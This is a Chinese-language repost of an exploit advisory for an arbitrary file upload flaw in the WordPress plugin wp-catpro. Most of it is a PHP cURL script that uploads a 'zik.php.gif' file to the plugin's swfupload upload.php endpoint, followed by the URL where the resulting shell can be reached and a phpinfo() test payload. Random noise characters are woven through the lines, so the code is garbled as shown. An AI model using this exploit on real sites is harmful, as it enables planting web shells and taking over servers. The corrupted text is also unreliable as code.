WordPress插件wp-catpro任意文件上传

admin

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability
- O/ c8 K7 K0 R) m7 f- E0 Y/ R) D#-----------------------------------------------------------------------
* F9 b8 k3 {% @" v* {8 T" Q) Z
4 K+ O! E0 L( m' _% |6 J作者  => Zikou-16
/ f# E/ V3 U; N4 ^/ _( \* w邮箱 => zikou16x@gmail.com
测试系统 : Windows 7 , Backtrack 5r3
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
####

; q3 P! q8 P; Z/ P2 I#=> Exploit 信息:
2 E6 W/ _5 e. {7 f5 ^( M1 ?------------------
# 攻击者可以上传 file/shell.php.gif
. m) l2 a8 B2 ^+ K# ("jpg", "gif", "png")  // Allowed file extensions
# X9 s9 [2 u0 ]- V# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
6 A  X! T2 f( L% }# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
------------------
  t% L+ I# Q% o
5 h* N' S& O- O4 u# Y#=> Exploit
-----------
<?php

$uploadfile="zik.php.gif";
  V# X# i& @# H  o! T7 O* S$ j$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
0 b% ?' y2 w, x8 s7 @8 U% Y+ w$ bcurl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
/ |2 u% F) M4 H* \7 Q4 }array('Filedata'=>"@$uploadfile",
( M3 H* N0 E  u+ ?) a+ E, W'folder'=>'/wp-content/uploads/catpro/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
. A4 E+ j8 V! k2 u) ]( b6 q( o  Tcurl_close($ch);
# H& ]. `7 t& x$ k' p4 |
  ~# G; `& b' A! F0 r5 n2 iprint "$postResult";
+ N: K7 ]8 A5 ~! U
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
  ?>
<?php
% S/ N# N7 d# e6 z" d4 J9 fphpinfo();
?>